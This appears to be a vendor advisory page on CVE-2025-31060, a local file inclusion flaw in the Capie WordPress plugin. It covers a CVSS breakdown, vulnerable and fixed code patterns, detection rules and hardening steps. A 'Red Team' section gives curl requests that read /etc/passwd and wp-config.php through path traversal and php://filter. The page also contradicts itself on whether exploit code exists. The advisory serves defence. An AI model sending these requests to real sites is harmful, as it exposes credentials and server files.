CVE-2025-31060
Executive Summary
CVE-2025-31060 is a critical PHP Local File Inclusion (LFI) vulnerability in the Capie WordPress plugin by ApusTheme, affecting versions up to and including 1.0.40. The flaw arises from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php) and potentially remote code execution if combined with file upload capabilities. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the unpatched status and the widespread use of WordPress plugins.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The Capie plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from any source are at risk. Since no patch is available, the supply chain risk is high—attackers may target outdated installations or inject malicious updates if the vendor’s distribution channel is compromised.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Base Score: 8.1 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The high confidentiality impact makes this a serious threat for data exfiltration. The lack of required privileges and user interaction means any unauthenticated visitor can exploit it.
Deep Dive & Mechanics
The vulnerability exists in the Capie plugin’s PHP code, likely in a function that dynamically includes template files or configuration files based on user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE). The plugin fails to sanitize or validate the filename parameter, allowing path traversal sequences like ../../ to escape the intended directory.
Example vulnerable code pattern:
$file = $_GET['template'];
include( $file . '.php' );
An attacker can supply ../../../etc/passwd%00 (null byte injection) or ../../../wp-config to read sensitive files. Modern PHP versions may block null bytes, but path traversal alone is sufficient.
Attack flow:
- Attacker identifies a parameter (e.g.,
?template=) in the plugin’s URL. - Attacker sends a crafted request:
GET /wp-content/plugins/capie/vulnerable.php?template=../../../etc/passwd - The server includes the target file, outputting its contents in the response.
Vulnerable vs. Patched Code
Since no patch is available, we can only infer the fix. A patched version would implement strict input validation:
Vulnerable code (conceptual):
$template = $_GET['template'];
include( 'templates/' . $template . '.php' );
Patched code (conceptual):
$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates, true)) {
include( 'templates/' . $template . '.php' );
} else {
// Error handling
}
Additionally, realpath() and basename() functions should be used to prevent directory traversal.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running WordPress with Capie plugin <= 1.0.40
- No authentication required
Step-by-step exploitation:
- Identify the vulnerable endpoint (e.g.,
/wp-content/plugins/capie/ajax.php?action=load_template&template=). - Use curl to read
/etc/passwd:curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=../../../etc/passwd" - For WordPress configuration:
curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=../../../wp-config" - If PHP wrappers are enabled, use
php://filterfor base64-encoded source code:curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=php://filter/convert.base64-encode/resource=../../../wp-config"
Note: No public exploit code exists; this is a conceptual demonstration.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for path traversal patterns (e.g.,
../,%2e%2e%2f). - Look for requests to plugin files with suspicious parameters.
- Use WAF rules to block
../sequences in query strings.
Hardening:
- Disable the plugin immediately if not essential.
- Apply virtual patching via WAF (e.g., ModSecurity rule to block
template=parameter containing..). - Restrict file inclusion to a whitelist of allowed files.
- Set
open_basedirin php.ini to limit file access.
Indicators of Compromise (IOCs)
- URL patterns:
*/wp-content/plugins/capie/*?*template=*../* - Log entries:
GET /wp-content/plugins/capie/ajax.php?action=load_template&template=../../../etc/passwd - File access: Unauthorized reads of
/etc/passwd,wp-config.php,.envfiles - Network: Outbound connections from the web server to attacker-controlled hosts (if RCE achieved)
Detection Engineering
YARA Rule
rule CVE_2025_31060_LFI_Detection {
meta:
description = "Detects LFI attempts targeting Capie plugin CVE-2025-31060"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31060"
strings:
$lfi_pattern = /template=([^&]*\.\.\/[^&]*)/ nocase
$plugin_path = /wp-content\/plugins\/capie\// nocase
condition:
$plugin_path and $lfi_pattern
}
Sigma Rule
title: CVE-2025-31060 Capie Plugin LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Capie plugin requests
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'template='
- '../'
- '%2e%2e%2f'
cs-uri-stem|contains: '/wp-content/plugins/capie/'
condition: selection
falsepositives:
- Legitimate use of template parameter with valid paths (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31060 Capie Plugin LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/capie/"; http_uri; content:"template="; http_uri; pcre:"/template=[^&]*\.\.\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate actions:
- Disable the Capie plugin until a patch is released.
- Apply virtual patching using WAF rules to block path traversal in the
templateparameter. - Review server logs for signs of exploitation (unusual file reads).
Long-term fixes:
- Contact ApusTheme for an official patch.
- Replace the plugin with an alternative that is actively maintained.
- Implement input validation and whitelisting in any custom code.
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Enable file integrity monitoring on critical system files.
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.